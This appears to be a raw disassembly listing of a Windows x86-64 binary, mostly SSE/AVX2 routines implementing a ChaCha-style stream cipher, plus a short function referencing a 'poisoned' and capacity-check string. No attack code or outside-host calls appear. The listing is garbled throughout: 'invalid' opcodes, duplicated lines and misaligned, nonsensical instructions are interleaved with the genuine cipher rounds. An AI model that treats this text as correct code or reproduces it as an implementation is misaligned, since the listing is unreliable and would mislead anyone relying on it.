xchg ebp, eax
and al, 0x40
invalid
xchg ebp, eax
and al, 0x40
invalid
lea rax, [0x14013c178]
lea rax, [0x14013c178]
add eax, 0xf40e7
mov qword [rsp + 0x20], rax
lea rdx, str.poisonednew_len____capacity_
lea rcx, [rsp + 0x30]
jrcxz 0x14004803e
str word [rax - 0x73]
and al, 0x30
lea r9, [rsp + 0x40]
mov r8d, 8
add byte [rax], al
add al, ch
invalid
pop rsi
invalid
call fcn.140014510
mov al, 1
add dword [rax + 0x38247c], eax
cld
push qword [rax + 0x247c8001]
add dword [rax + 0x38247c], eax
add dword [rax + 0x38247c], eax
je 0x1400480c3
add rsp, 0x70
pop rbx
jo 0x14004811b
pop rdi
pop rsi
ret
mov rsi, qword [rsp + 0x30]
cmp byte [rsp + 0x39], 0
cmp dword [rax], eax
je 0x1400480ef
test byte [rsi + 0x34], 4
jne 0x140048109
xor al, 0x48
mov ecx, dword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
lea rdx, [0x140115220]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
lea rdx, [0x140115220]
cmp al, 0xd1
or al, 0
mov r8d, 6
call qword [rax + 0x18]
jmp 0x1400480bb
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140115219]
ror dword [rax + rax], 1
ror dword [rax + rax], 1
mov r8d, 7
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
jmp 0x1400480bb
invalid
and al, 0x2f
call qword [rax + 0x18]
jmp 0x1400480bb
mov byte [rsp + 0x2f], 1
movups xmm0, xmmword [rsi + 0x20]
add dword [rdi], ecx
adc byte [rsi + 0x20], al
movaps xmmword [rsp + 0x40], xmm0
lea rax, [rsp + 0x2f]
mov qword [rsp + 0x50], rax
lea rdx, [0x140115226]
lea rcx, [rsp + 0x40]
mov r8d, 3
call fcn.1400146c0
test al, al
je 0x140048143
invalid
mov al, 1
jmp 0x1400480bb
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014a8ab]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400480bb
call fcn.1401105f0
mov ebx, eax
jmp 0x140047fd0
call fcn.1401105f0
test al, al
jne 0x14004801e
mov byte [rsi + 1], 1
jmp 0x14004801e
paddd xmm10, xmm1
paddd xmm9, xmm15
movdqa xmm3, xmmword [rsp + 0x40]
paddd xmm3, xmm13
movdqa xmmword [rsp + 0x40], xmm3
movdqa xmm2, xmmword [rsp + 0x30]
paddd xmm2, xmm11
movdqa xmmword [rsp + 0x30], xmm2
pxor xmm8, xmm10
pxor xmm12, xmm9
pxor xmm7, xmm3
pxor xmm5, xmm2
pshuflw xmm2, xmm8, 0xb1
pshufhw xmm2, xmm2, 0xb1
pshuflw xmm3, xmm12, 0xb1
pshufhw xmm4, xmm3, 0xb1
pshuflw xmm3, xmm7, 0xb1
pshufhw xmm3, xmm3, 0xb1
pshuflw xmm5, xmm5, 0xb1
pshufhw xmm5, xmm5, 0xb1
paddd xmm6, xmm2
paddd xmm0, xmm4
paddd xmm14, xmm3
movdqa xmm7, xmmword [rsp + 0x20]
paddd xmm7, xmm5
movdqa xmm8, xmm7
movdqa xmmword [rsp + 0x20], xmm7
pxor xmm1, xmm6
movdqa xmm7, xmm1
psrld xmm7, 0x14
pslld xmm1, 0xc
por xmm1, xmm7
pxor xmm15, xmm0
movdqa xmm7, xmm15
psrld xmm7, 0x14
pslld xmm15, 0xc
por xmm15, xmm7
pxor xmm13, xmm14
movdqa xmm7, xmm13
psrld xmm7, 0x14
pslld xmm13, 0xc
por xmm13, xmm7
pxor xmm11, xmm8
movdqa xmm7, xmm11
psrld xmm7, 0x14
pslld xmm11, 0xc
por xmm11, xmm7
paddd xmm10, xmm1
paddd xmm9, xmm15
movdqa xmm8, xmm9
movdqa xmm9, xmmword [rsp + 0x40]
paddd xmm9, xmm13
movdqa xmmword [rsp + 0x40], xmm9
movdqa xmm12, xmmword [rsp + 0x30]
paddd xmm12, xmm11
movdqa xmmword [rsp + 0x30], xmm12
pxor xmm2, xmm10
movdqa xmm7, xmm2
psrld xmm7, 0x18
pslld xmm2, 8
por xmm2, xmm7
pxor xmm4, xmm8
movdqa xmm7, xmm4
psrld xmm7, 0x18
pslld xmm4, 8
por xmm4, xmm7
pxor xmm3, xmm9
movdqa xmm9, xmm8
movdqa xmm7, xmm3
psrld xmm7, 0x18
pslld xmm3, 8
por xmm3, xmm7
pxor xmm5, xmm12
movdqa xmm7, xmm5
psrld xmm7, 0x18
pslld xmm5, 8
por xmm5, xmm7
paddd xmm6, xmm2
paddd xmm0, xmm4
paddd xmm14, xmm3
movdqa xmm7, xmmword [rsp + 0x20]
paddd xmm7, xmm5
pxor xmm1, xmm6
pxor xmm15, xmm0
pxor xmm13, xmm14
pxor xmm11, xmm7
movdqa xmm8, xmm7
movdqa xmm7, xmm1
psrld xmm7, 0x19
pslld xmm1, 7
por xmm1, xmm7
movdqa xmm7, xmm15
psrld xmm7, 0x19
pslld xmm15, 7
pslld mm7, 7
por xmm15, xmm7
movdqa xmm7, xmm13
std
psrld xmm7, 0x19
pslld xmm13, 7
por xmm13, xmm7
movdqa xmm7, xmm11
psrld xmm7, 0x19
pslld xmm11, 7
por xmm11, xmm7
pshufd xmm1, xmm1, 0x39
jo 0x14004a9d1
cmp dword [rsi + 0x45], esp
pshufw mm7, mm7, 0x39
invalid
invalid
jmp 0x14004a9de
jo 0x14004a9d1
cmp dword [rsi + 0x45], esp
pshufw mm7, mm7, 0x39
invalid
invalid
invalid
pshufd xmm13, xmm13, 0x39
pshufd xmm11, xmm11, 0x39
pshufd xmm6, xmm6, 0x4e
movdqa xmmword [rsp + 0xc0], xmm6
pshufd xmm0, xmm0, 0x4e
jo 0x14004a9ed
movdqa xmmword [rsp + 0x20], xmm0
jo 0x14004a9ed
movdqa xmmword [rsp + 0x20], xmm0
pshufd xmm14, xmm14, 0x4e
pshufd xmm12, xmm8, 0x4e
pshufd xmm2, xmm2, 0x93
pshufd xmm4, xmm4, 0x93
pshufd xmm3, xmm3, 0x93
pshufd xmm7, xmm5, 0x93
paddd xmm10, xmm1
paddd xmm9, xmm15
movdqa xmm0, xmmword [rsp + 0x40]
paddd xmm0, xmm13
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm6, xmmword [rsp + 0x30]
paddd xmm6, xmm11
pshuflw xmm5, xmm10, 0xb1
pshufhw xmm8, xmm5, 0xb1
pshuflw xmm2, xmm2, 0xb1
pshufhw xmm5, xmm2, 0xb1
pxor xmm5, xmm8
pshuflw xmm2, xmm9, 0xb1
pshufhw xmm8, xmm2, 0xb1
pshuflw xmm2, xmm4, 0xb1
pshufhw xmm2, xmm2, 0xb1
pxor xmm2, xmm8
pshuflw xmm4, xmm0, 0xb1
pshufhw xmm8, xmm4, 0xb1
pshuflw xmm3, xmm3, 0xb1
pshufhw xmm4, xmm3, 0xb1
pxor xmm4, xmm8
movdqa xmm0, xmm6
pshuflw xmm3, xmm6, 0xb1
pshufhw xmm8, xmm3, 0xb1
pshuflw xmm3, xmm7, 0xb1
pshufhw xmm3, xmm3, 0xb1
pxor xmm3, xmm8
movdqa xmm6, xmmword [rsp + 0xc0]
paddd xmm6, xmm5
movdqa xmm7, xmmword [rsp + 0x20]
paddd xmm7, xmm2
movdqa xmmword [rsp + 0x20], xmm7
paddd xmm14, xmm4
paddd xmm12, xmm3
pxor xmm1, xmm6
pxor xmm15, xmm7
pxor xmm13, xmm14
pxor xmm11, xmm12
movdqa xmm7, xmm1
psrld xmm7, 0x14
pslld xmm1, 0xc
por xmm1, xmm7
movdqa xmm7, xmm15
psrld xmm7, 0x14
pslld xmm15, 0xc
por xmm15, xmm7
movdqa xmm7, xmm13
psrld xmm7, 0x14
pslld xmm13, 0xc
por xmm13, xmm7
movdqa xmm7, xmm11
psrld xmm7, 0x14
pslld xmm11, 0xc
por xmm11, xmm7
fbld tbyte [rsi + 0x44]
paddd mm2, mm1
fbld tbyte [rsi + 0x44]
paddd mm2, mm1
paddd xmm9, xmm15
paddd mm1, mm7
movdqa xmm8, xmmword [rsp + 0x40]
paddd xmm8, xmm13
inc ch
inc ch
paddd xmm0, xmm11
pxor xmm5, xmm10
movdqa xmm7, xmm5
psrld xmm7, 0x18
pslld xmm5, 8
por xmm5, xmm7
pxor xmm2, xmm9
movdqa xmm7, xmm2
psrld xmm7, 0x18
pslld xmm2, 8
por xmm2, xmm7
movdqa xmm7, xmm8
movdqa xmmword [rsp + 0x40], xmm8
pxor xmm4, xmm8
movdqa xmm7, xmm4
psrld xmm7, 0x18
pslld xmm4, 8
por xmm4, xmm7
movdqa xmm7, xmm0
movdqa xmmword [rsp + 0x30], xmm0
pxor xmm3, xmm0
movdqa xmm7, xmm3
psrld xmm7, 0x18
pslld xmm3, 8
por xmm3, xmm7
paddd xmm6, xmm5
movdqa xmm0, xmmword [rsp + 0x20]
paddd xmm0, xmm2
paddd xmm14, xmm4
paddd xmm12, xmm3
pxor xmm1, xmm6
pxor xmm15, xmm0
pxor xmm13, xmm14
pxor xmm11, xmm12
movdqa xmm7, xmm1
psrld xmm7, 0x19
pslld xmm1, 7
por xmm1, xmm7
movdqa xmm7, xmm15
psrld xmm7, 0x19
pslld xmm15, 7
por xmm15, xmm7
movdqa xmm7, xmm13
psrld xmm7, 0x19
pslld xmm13, 7
por xmm13, xmm7
movdqa xmm7, xmm11
psrld xmm7, 0x19
pslld xmm11, 7
por xmm11, xmm7
pshufd xmm1, xmm1, 0x93
pshufd xmm15, xmm15, 0x93
pshufd xmm13, xmm13, 0x93
pshufd xmm11, xmm11, 0x93
pshufd xmm6, xmm6, 0x4e
pshufd xmm0, xmm0, 0x4e
pshufd xmm14, xmm14, 0x4e
pshufd xmm7, xmm12, 0x4e
movdqa xmmword [rsp + 0x20], xmm7
pshufd xmm8, xmm5, 0x39
pshufd xmm12, xmm2, 0x39
pshufd xmm7, xmm4, 0x39
pshufd xmm5, xmm3, 0x39
dec r8d
jne 0x14004a800
movdqa xmm2, xmmword [str.expand_32_byte_k]
movdqa xmm3, xmmword [rsp + 0x30]
paddd xmm3, xmm2
movdqa xmmword [rsp + 0x30], xmm3
movdqa xmm4, xmmword [rsp + 0x40]
paddd xmm4, xmm2
paddd xmm9, xmm2
paddd xmm10, xmm2
add rax, 4
mov r8, rax
shr r8, 0x20
movd xmm2, r8d
por xmm2, xmmword [rsp + 0x50]
movdqa xmm3, xmm2
pslldq xmm3, 8
shufps xmm3, xmm2, 0xe8
movd xmm2, eax
por xmm2, xmm3
movdqa xmmword [rcx + 0x20], xmm2
movdqu xmmword [rdx], xmm10
movdqa xmm2, xmmword [rsp + 0xa0]
paddd xmm1, xmm2
movdqu xmmword [rdx + 0x10], xmm1
movdqa xmm1, xmmword [rsp + 0xb0]
paddd xmm6, xmm1
movdqu xmmword [rdx + 0x20], xmm6
paddd xmm8, xmmword [rsp + 0x90]
movdqu xmmword [rdx + 0x30], xmm8
movdqu xmmword [rdx + 0x40], xmm9
paddd xmm15, xmm2
movdqu xmmword [rdx + 0x50], xmm15
paddd xmm0, xmm1
movdqu xmmword [rdx + 0x60], xmm0
paddd xmm12, xmmword [rsp + 0x80]
movdqu xmmword [rdx + 0x70], xmm12
movdqu xmmword [rdx + 0x80], xmm4
paddd xmm13, xmm2
movdqu xmmword [rdx + 0x90], xmm13
paddd xmm14, xmm1
movdqu xmmword [rdx + 0xa0], xmm14
paddd xmm7, xmmword [rsp + 0x70]
movdqu xmmword [rdx + 0xb0], xmm7
movaps xmm0, xmmword [rsp + 0x30]
movups xmmword [rdx + 0xc0], xmm0
paddd xmm11, xmm2
movdqu xmmword [rdx + 0xd0], xmm11
movdqa xmm0, xmmword [rsp + 0x20]
paddd xmm0, xmm1
movdqu xmmword [rdx + 0xe0], xmm0
paddd xmm5, xmmword [rsp + 0x60]
movdqu xmmword [rdx + 0xf0], xmm5
movaps xmm6, xmmword [rsp + 0xd0]
movaps xmm7, xmmword [rsp + 0xe0]
movaps xmm8, xmmword [rsp + 0xf0]
movaps xmm9, xmmword [rsp + 0x100]
movaps xmm10, xmmword [rsp + 0x110]
movaps xmm11, xmmword [rsp + 0x120]
movaps xmm12, xmmword [rsp + 0x130]
movaps xmm13, xmmword [rsp + 0x140]
movaps xmm14, xmmword [rsp + 0x150]
movaps xmm15, xmmword [rsp + 0x160]
add rsp, 0x178
pop rdi
pop rsi
ret
vpaddd ymm12, ymm12, ymm13
vpaddd ymm8, ymm8, ymm9
vpxor ymm15, ymm15, ymm12
vpxor ymm10, ymm8, ymm10
vpshuflw ymm15, ymm15, 0xb1
vpshufhw ymm15, ymm15, 0xb1
vpshuflw ymm10, ymm10, 0xb1
vpshufhw ymm10, ymm10, 0xb1
vpaddd ymm14, ymm14, ymm15
vpaddd ymm11, ymm11, ymm10
vpxor ymm13, ymm14, ymm13
vpsrld ymm0, ymm13, 0x14
vpslld ymm13, ymm13, 0xc
vpor ymm0, ymm13, ymm0
vpxor ymm9, ymm11, ymm9
vpsrld ymm13, ymm9, 0x14
vpslld ymm9, ymm9, 0xc
vpor ymm9, ymm9, ymm13
vpaddd ymm12, ymm12, ymm0
vpaddd ymm8, ymm9, ymm8
vpshufb ymm13, ymm12, ymm6
vpshufb ymm15, ymm15, ymm6
vpxor ymm13, ymm15, ymm13
vpshufb ymm15, ymm8, ymm6
vpshufb ymm10, ymm10, ymm6
vpxor ymm10, ymm10, ymm15
vpaddd ymm14, ymm14, ymm13
vpaddd ymm11, ymm11, ymm10
vpxor ymm0, ymm14, ymm0
vpxor ymm9, ymm11, ymm9
vpsrld ymm15, ymm0, 0x19
vpslld ymm0, ymm0, 7
vpor ymm0, ymm15, ymm0
vpsrld ymm15, ymm9, 0x19
vpslld ymm9, ymm9, 7
vpor ymm9, ymm9, ymm15
vpshufd ymm0, ymm0, 0x39
vpshufd ymm9, ymm9, 0x39
vpshufd ymm14, ymm14, 0x4e
vpshufd ymm11, ymm11, 0x4e
vpaddd ymm12, ymm12, ymm0
vpaddd ymm8, ymm9, ymm8
vpshuflw ymm15, ymm12, 0xb1
vpshufhw ymm15, ymm15, 0xb1
vpshufb ymm13, ymm13, ymm7
vpxor ymm13, ymm13, ymm15
vpshuflw ymm15, ymm8, 0xb1
vpshufhw ymm15, ymm15, 0xb1
vpshufb ymm10, ymm10, ymm7
vpxor ymm10, ymm10, ymm15
vpaddd ymm14, ymm14, ymm13
vpaddd ymm11, ymm11, ymm10
vpxor ymm0, ymm14, ymm0
vpxor ymm9, ymm11, ymm9
vpsrld ymm15, ymm0, 0x14
vpslld ymm0, ymm0, 0xc
vpor ymm0, ymm15, ymm0
vpsrld ymm15, ymm9, 0x14
vpslld ymm9, ymm9, 0xc
vpor ymm9, ymm9, ymm15
vpaddd ymm12, ymm12, ymm0
vpaddd ymm8, ymm9, ymm8
vpxor ymm13, ymm13, ymm12
vpshufb ymm15, ymm13, ymm6
vpxor ymm10, ymm10, ymm8
vpshufb ymm10, ymm10, ymm6
vpaddd ymm14, ymm14, ymm15
vpaddd ymm11, ymm11, ymm10
vpxor ymm0, ymm14, ymm0
out dx, eax
rol ah, 0x41
and eax, 0x95c5c9ef
jb 0x14004b28c
sbb ebp, eax
std
jb case.0x1400d62e6.1625
invalid
out dx, eax
rol ah, 0x41
and eax, 0x95c5c9ef
jb 0x14004b28c
sbb ebp, eax
std
jb case.0x1400d62e6.1625
invalid
vpor ymm0, ymm13, ymm0
vpsrld ymm13, ymm9, 0x19
vpslld ymm9, ymm9, 7
jb 0x14004b2c2
invalid
vpor ymm9, ymm9, ymm13
vpshufd ymm13, ymm0, 0x93
vpshufd ymm9, ymm9, 0x93
vpshufd ymm14, ymm14, 0x4e
vpshufd ymm11, ymm11, 0x4e
vpshufd ymm15, ymm15, 0x39
vpshufd ymm10, ymm10, 0x39
dec r8d
jne 0x14004b150
jb 0x14004b2c2
invalid
add rax, 4
mov r8, rax
shr r8, 0x20
vpinsrd xmm0, xmm5, eax, 0
vpinsrd xmm0, xmm0, r8d, 1
vmovdqa xmmword [rcx + 0x20], xmm0
vmovdqa xmm6, xmmword [str.expand_32_byte_k]
vpaddd xmm0, xmm12, xmm6
vmovdqu xmmword [rdx], xmm0
vpaddd xmm0, xmm13, xmm4
vmovdqu xmmword [rdx + 0x10], xmm0
vpaddd xmm0, xmm14, xmm2
vmovdqu xmmword [rdx + 0x20], xmm0
vpaddd xmm0, xmm15, xmm5
vmovdqu xmmword [rdx + 0x30], xmm0
vextracti128 xmm0, ymm15, 1
vextracti128 xmm5, ymm14, 1
vextracti128 xmm7, ymm12, 1
vpaddd xmm7, xmm7, xmm6
vextracti128 xmm12, ymm13, 1
vmovdqu xmmword [rdx + 0x40], xmm7
vpaddd xmm7, xmm12, xmm4
vmovdqu xmmword [rdx + 0x50], xmm7
vpaddd xmm5, xmm5, xmm2
vmovdqu xmmword [rdx + 0x60], xmm5
vpaddd xmm0, xmm3, xmm0
vmovdqu xmmword [rdx + 0x70], xmm0
vpaddd xmm0, xmm8, xmm6
vmovdqu xmmword [rdx + 0x80], xmm0
vpaddd xmm0, xmm9, xmm4
vmovdqu xmmword [rdx + 0x90], xmm0
vpaddd xmm0, xmm11, xmm2
vmovdqu xmmword [rdx + 0xa0], xmm0
vpaddd xmm0, xmm10, xmm1
vmovdqu xmmword [rdx + 0xb0], xmm0
vextracti128 xmm0, ymm10, 1
vextracti128 xmm1, ymm11, 1
vextracti128 xmm3, ymm8, 1
vpaddd xmm3, xmm3, xmm6
vextracti128 xmm5, ymm9, 1
vmovdqu xmmword [rdx + 0xc0], xmm3
vpaddd xmm3, xmm5, xmm4
vmovdqu xmmword [rdx + 0xd0], xmm3
vpaddd xmm1, xmm1, xmm2
vmovdqu xmmword [rdx + 0xe0], xmm1
vpaddd xmm0, xmm0, xmmword [rsp]
vmovdqu xmmword [rdx + 0xf0], xmm0
vzeroupper
vmovaps xmm6, xmmword [rsp + 0x10]
vmovaps xmm7, xmmword [rsp + 0x20]
vmovaps xmm8, xmmword [rsp + 0x30]
vmovaps xmm9, xmmword [rsp + 0x40]
vmovaps xmm10, xmmword [rsp + 0x50]
vmovaps xmm11, xmmword [rsp + 0x60]
vmovaps xmm12, xmmword [rsp + 0x70]
sub byte [rsp + 0x70], ah
sub byte [rsp + 0x70], ah
vmovaps xmm13, xmmword [rsp + 0x80]
vmovaps xmm14, xmmword [rsp + 0x90]
vmovaps xmm15, xmmword [rsp + 0xa0]
sub byte [rsp + 0xa0], bh
sub byte [rsp + 0xa0], bh
add rsp, 0xb8
ret
add ch, al
js 0x14004b48c
mov ah, 0x24
add dword [rax], eax
add ch, al
js 0x14004b495
lodsb al, byte [rsi]
and al, 0x30
add dword [rax], eax
add ch, al
js 0x14004b49e
movsb byte [rdi], byte [rsi]
and al, 0x20
add dword [rax], eax
add ch, al
js 0x14004b4a7
pushfq
and al, 0x10
add dword [rax], eax
add byte [rax], al
invalid
js 0x14004b4b0
add byte [rax], al
vmovaps xmmword [rsp + 0x100], xmm10
vmovdqa xmmword [rsp + 0xf0], xmm9
vmovaps xmmword [rsp + 0xe0], xmm8
vmovdqa xmmword [rsp + 0xd0], xmm7
vmovaps xmmword [rsp + 0xc0], xmm6
xchg esp, eax
and al, 0
add dword [rax], eax
add ch, al
jns 0x14004b50f
mov word [rax + rsi*8], fs
add byte [rax], al
add ch, al
js 0x14004b4c2
test byte [rax + riz*8], ah
add byte [rax], al
add ch, al
stc
jg 0x14004b45f
and al, 0xd0
add byte [rax], al
add ch, al
clc
sub dword [rsp + 0xc0], esi
add ch, al
stc
outsd dx, dword [rsi]
jno 0x14004b4d6
vmovdqa xmm6, xmmword [rcx + 0x20]
mov rax, qword [rcx + 0x20]
lea r8, [rax + 1]
vpinsrd xmm0, xmm6, r8d, 0
shr r8, 0x20
rol byte [rax], 0x49
shr eax, 0x20
vpinsrd xmm4, xmm0, r8d, 1
lea r8, [rax + 2]
vpinsrd xmm0, xmm6, r8d, 0
shr r8, 0x20
rol byte [rax], 0x49
shr eax, 0x20
vpinsrd xmm13, xmm0, r8d, 1
vmovdqa xmm1, xmmword [rcx]
lea r8, [rax + 3]
vpinsrd xmm0, xmm6, r8d, 0
shr r8, 0x20
vpinsrd xmm5, xmm0, r8d, 1
vmovdqa xmm0, xmmword [rcx + 0x10]
vmovdqa xmm11, xmmword [str.expand_32_byte_k]
outsd dx, dword [rsi]
sbb eax, 0xc8479
mov r8d, 6
vmovdqa xmm14, xmm11
vmovdqa xmm15, xmm11
jns 0x14004b580
vmovdqa xmm15, xmm11
vmovdqa xmm12, xmm11
vmovdqa xmm3, xmm1
vmovdqa xmm2, xmm1
vmovdqa xmmword [rsp + 0x20], xmm1
vmovdqa xmmword [rsp + 0x80], xmm1
vmovdqa xmmword [rsp + 0x30], xmm1
vmovdqa xmm8, xmm0
vmovdqa xmm1, xmm0
vmovdqa xmmword [rsp], xmm0
outsd dx, dword [rsi]
enter 0xfffffffffffff9c5, 0x7f
add al, 0x24
vmovdqa xmmword [rsp + 0x50], xmm0
vmovdqa xmm10, xmm0
vmovdqa xmmword [rsp + 0xa0], xmm6
vmovdqa xmmword [rsp + 0x90], xmm4
jg 0x14004b501
and al, 0x90
add byte [rax], al
add ch, al
stc
outsd dx, dword [rsi]
invalid
vmovdqa xmmword [rsp + 0x70], xmm13
vmovdqa xmmword [rsp + 0x60], xmm5
vmovdqa xmmword [rsp + 0x10], xmm5
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
jg 0x14004b501
and al, 0x90
add byte [rax], al
add ch, al
stc
outsd dx, dword [rsi]
invalid
add byte [rax], al
add byte [rax], al
vpaddd xmm7, xmm11, xmm3
vpxor xmm5, xmm6, xmm7
vpshuflw xmm5, xmm5, 0xb1
vpshufhw xmm11, xmm5, 0xb1
vpaddd xmm4, xmm8, xmm11
cmp esi, edi
jrcxz 0x14004b55d
stc
jg 0x14004b53f
and al, 0xb0
add byte [rax], al
add ch, al
invalid
out dx, eax
fcmovnb st(0), st(5)
sal dword [rdx - 0x2d], 1
adc al, 0xc5
loope 0x14004b61e
or al, 0xc5
invalid
jmp 0x14004b577
vpaddd xmm4, xmm14, xmm2
vpxor xmm0, xmm4, xmm0
vpshuflw xmm0, xmm0, 0xb1
vpshufhw xmm5, xmm0, 0xb1
vpaddd xmm0, xmm1, xmm5
vmovdqa xmmword [rsp + 0x40], xmm0
invalid
vpxor xmm0, xmm0, xmm2
vpsrld xmm1, xmm0, 0x14
vpslld xmm0, xmm0, 0xc
cmp esi, edi
jrcxz 0x14004b55d
stc
jg 0x14004b53f
and al, 0xb0
add byte [rax], al
add ch, al
invalid
or al, 0xc5
invalid
invalid
rcl byte [rax*8 + 0xcf072f9]
vpor xmm14, xmm0, xmm1
vmovdqa xmm1, xmmword [rsp + 0x20]
vpaddd xmm3, xmm15, xmm1
vpxor xmm0, xmm13, xmm3
vpshuflw xmm0, xmm0, 0xb1
vpshufhw xmm9, xmm0, 0xb1
vpaddd xmm13, xmm9, xmmword [rsp]
xor esi, edi
sub al, 0x24
invalid
vpxor xmm0, xmm13, xmm1
vpsrld xmm1, xmm0, 0x14
int1
jb 0x14004b5d5
adc al, 0xc5
stc
jb 0x14004b5fa
invalid
or al, 0xc5
jns 0x14004b5f9
stc
int1
jb 0x14004b5d5
adc al, 0xc5
stc
jb 0x14004b5fa
invalid
invalid
or al, 0xc5
jns 0x14004b5f9
stc
vmovdqa xmm0, xmmword [rsp + 0x30]
vpaddd xmm6, xmm12, xmm0
invalid
invalid
vpxor xmm1, xmm6, xmmword [rsp + 0x10]
vpshuflw xmm1, xmm1, 0xb1
vpshufhw xmm2, xmm1, 0xb1
sal dword [rcx - 0x2d01d63b], 1
invalid
sal dword [rcx - 0x2d01d63b], 1
vpxor xmm1, xmm10, xmm0
vpsrld xmm12, xmm1, 0x14
vpslld xmm1, xmm1, 0xc
vpor xmm1, xmm12, xmm1
vpaddd xmm7, xmm8, xmm7
vmovdqa xmmword [rsp], xmm7
vmovdqa xmm0, xmmword [0x1401139c0]
vpshufb xmm11, xmm11, xmm0
vpshufb xmm12, xmm7, xmm0
vpxor xmm12, xmm11, xmm12
vpaddd xmm7, xmm14, xmm4
vmovdqa xmmword [rsp + 0x10], xmm7
vpshufb xmm4, xmm5, xmm0
vpshufb xmm5, xmm7, xmm0
vpxor xmm11, xmm4, xmm5
vpaddd xmm4, xmm15, xmm3
vmovdqa xmmword [rsp + 0x20], xmm4
vpshufb xmm3, xmm9, xmm0
add al, bl
vpshufb xmm4, xmm4, xmm0
pop rcx
add al, ah
vpxor xmm5, xmm3, xmm4
vpaddd xmm4, xmm1, xmm6
vmovdqa xmmword [rsp + 0x30], xmm4
vpshufb xmm3, xmm2, xmm0
vpshufb xmm2, xmm4, xmm0
vpxor xmm9, xmm3, xmm2
vpaddd xmm4, xmm12, xmmword [rsp + 0xb0]
movsb byte [rdi], byte [rsi]
and al, 0xb0
add byte [rax], al
add ch, al
mov ecx, 0xe9c5c4ef
jb 0x14004b688
sbb ebp, eax
stc
jb 0x14004b6ad
invalid
vpor xmm0, xmm0, xmm2
stc
jmp 0x14004b684
vpaddd xmm2, xmm11, xmmword [rsp + 0x40]
invalid
vpxor xmm3, xmm14, xmm2
vpsrld xmm7, xmm3, 0x19
rcr dword [rcx], cl
movsb byte [rdi], byte [rsi]
and al, 0xb0
add byte [rax], al
add ch, al
mov ecx, 0xe9c5c4ef
jb 0x14004b688
out dx, eax
invalid
sbb ebp, eax
stc
jb 0x14004b6ad
invalid
stc
jmp 0x14004b684
invalid
rcr dword [rcx], cl
vpslld xmm3, xmm3, 7
vpor xmm3, xmm3, xmm7
vpaddd xmm7, xmm13, xmm5
vpxor xmm8, xmm15, xmm7
vpsrld xmm13, xmm8, 0x19
vpslld xmm8, xmm8, 7
vpor xmm8, xmm8, xmm13
vpaddd xmm6, xmm10, xmm9
vpxor xmm1, xmm6, xmm1
vpsrld xmm13, xmm1, 0x19
vpslld xmm1, xmm1, 7
vpor xmm1, xmm13, xmm1
vpshufd xmm0, xmm0, 0x39
vpaddd xmm10, xmm0, xmmword [rsp]
vpshuflw xmm13, xmm10, 0xb1
vpshufhw xmm13, xmm13, 0xb1
vmovdqa xmm14, xmmword [0x1401139d0]
vpshufb xmm12, xmm12, xmm14
vpxor xmm12, xmm12, xmm13
vpshufd xmm15, xmm3, 0x39
vpaddd xmm3, xmm15, xmmword [rsp + 0x10]
vmovdqa xmmword [rsp + 0x10], xmm3
vpshuflw xmm3, xmm3, 0xb1
vpshufhw xmm3, xmm3, 0xb1
vpshufb xmm11, xmm11, xmm14
vpxor xmm11, xmm11, xmm3
vpshufd xmm8, xmm8, 0x39
vpaddd xmm3, xmm8, xmmword [rsp + 0x20]
vmovdqa xmmword [rsp + 0x20], xmm3
vpshuflw xmm3, xmm3, 0xb1
vpshufhw xmm3, xmm3, 0xb1
vpshufb xmm5, xmm5, xmm14
vpxor xmm3, xmm5, xmm3
vpshufd xmm5, xmm1, 0x39
vpaddd xmm1, xmm5, xmmword [rsp + 0x30]
vmovdqa xmmword [rsp + 0x30], xmm1
vpshuflw xmm1, xmm1, 0xb1
vpshufhw xmm1, xmm1, 0xb1
vpshufb xmm9, xmm9, xmm14
vpxor xmm9, xmm9, xmm1
vmovdqa xmmword [rsp], xmm9
vpshufd xmm1, xmm4, 0x4e
vpaddd xmm14, xmm12, xmm1
vpxor xmm0, xmm14, xmm0
vpsrld xmm1, xmm0, 0x14
vpslld xmm0, xmm0, 0xc
vpor xmm1, xmm0, xmm1
vpshufd xmm0, xmm2, 0x4e
vpaddd xmm13, xmm11, xmm0
and esi, edi
call 0x12f167990
mov ebp, 0x14d072e9
and esi, edi
call 0x12f167990
mov ebp, 0x14d072e9
vpslld xmm0, xmm0, 0xc
vpor xmm15, xmm0, xmm2
vpshufd xmm0, xmm7, 0x4e
invalid
vpaddd xmm7, xmm0, xmm3
vpxor xmm0, xmm8, xmm7
vpsrld xmm2, xmm0, 0x14
vpslld xmm0, xmm0, 0xc
vpor xmm0, xmm0, xmm2
vpshufd xmm2, xmm6, 0x4e
invalid
invalid
vpaddd xmm6, xmm9, xmm2
vpxor xmm2, xmm6, xmm5
vpsrld xmm4, xmm2, 0x14
vpslld xmm2, xmm2, 0xc
vpor xmm8, xmm2, xmm4
vpaddd xmm2, xmm10, xmm1
invalid
rol ebp, 1
stc
jg 0x14004b86d
and al, 0x40
vpxor xmm2, xmm12, xmm2
vmovdqa xmm5, xmmword [0x1401139c0]
vpshufb xmm9, xmm2, xmm5
vpaddd xmm10, xmm14, xmm9
vpxor xmm1, xmm10, xmm1
vpsrld xmm2, xmm1, 0x19
vpslld xmm1, xmm1, 7
vpor xmm1, xmm1, xmm2
vpaddd xmm14, xmm15, xmmword [rsp + 0x10]
vpxor xmm2, xmm11, xmm14
vpshufb xmm4, xmm2, xmm5
vpaddd xmm11, xmm13, xmm4
vpxor xmm2, xmm11, xmm15
vpsrld xmm12, xmm2, 0x19
vpslld xmm2, xmm2, 7
vpor xmm2, xmm12, xmm2
vpaddd xmm15, xmm0, xmmword [rsp + 0x20]
vpxor xmm3, xmm15, xmm3
vpshufb xmm13, xmm3, xmm5
vpaddd xmm5, xmm13, xmm7
vpxor xmm0, xmm5, xmm0
vpsrld xmm3, xmm0, 0x19
vpslld xmm0, xmm0, 7
vpor xmm0, xmm0, xmm3
vpaddd xmm12, xmm8, xmmword [rsp + 0x30]
vpxor xmm3, xmm12, xmmword [rsp]
vpshufb xmm7, xmm3, xmmword [0x1401139c0]
vpaddd xmm6, xmm6, xmm7
vpxor xmm3, xmm8, xmm6
